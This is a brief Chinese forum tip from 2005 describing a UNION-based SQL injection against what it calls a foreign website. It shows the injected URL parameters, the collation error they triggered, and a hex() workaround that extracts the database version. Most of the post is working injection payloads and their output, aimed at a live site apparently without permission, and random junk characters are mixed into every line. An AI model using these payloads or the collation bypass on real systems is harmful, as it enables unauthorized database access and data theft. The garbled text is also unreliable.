本文作者:SuperHei
8 Q1 o8 s% e6 \7 M0 x文章性质:原创
; i/ C8 e# N2 d) \发布日期:2005-10-18
% Y7 F* G3 d4 O2 `& A8 V测试个国外的站时:
7 b/ f- h$ p/ I) y" Nurl:?c_id=2%20and%201=2%20union%20select%201,version(),3,4,5,6%20/*
: J& }( i6 l2 {( j返回错误:% c5 G& J1 L4 [- y
Illegal mix of collations (euckr_korean_ci,IMPLICIT) and (utf8_general_ci,IMPLICIT) for operation 'UNION'! g; I1 c2 M3 x# C- |$ F& d+ `
MySQL Error No. 1268 k' e1 |* V) T! x
看来是union查询前后字符集(http://dev.mysql.com/doc/mysql/en/Charset-collation-charset.html)不同出现的。
' B: S o1 L4 u5 U解决办法:转为其他编码如hex。
" w/ ~. l" J8 Y6 Z7 o4 Z$ Qurl:?c_id=2%20and%201=2%20union%20select%201,hex(version()),3,4,5,6%20/*
! \* P0 z. w1 r9 C; `" P4 W成功得到hex(version())的值为:/ S) s) O& x8 B$ G3 Y$ z
342E312E332D62657461' r. U3 }! D5 C# V3 v3 ~3 v
回Mysql查询下得到:
0 ~, _! C9 h6 Vmysql> select 0x342E312E332D62657461;
5 b5 i! F0 E! g+------------------------+8 {' d' b" D. o9 P" B0 I
| 0x342E312E332D62657461 |; [3 A% N0 t# |0 w( u" H3 O
+------------------------+
4 F H0 U$ i6 z( h; e, G$ W F| 4.1.3-beta |0 t$ r6 W4 N9 \3 g8 F" Y' V' g: U! e
+------------------------+
* \& j/ W! m* ?3 g1 row in set (0.00 sec)
& Y; ~7 \: h% y2 d! j% {& h! j/ P
|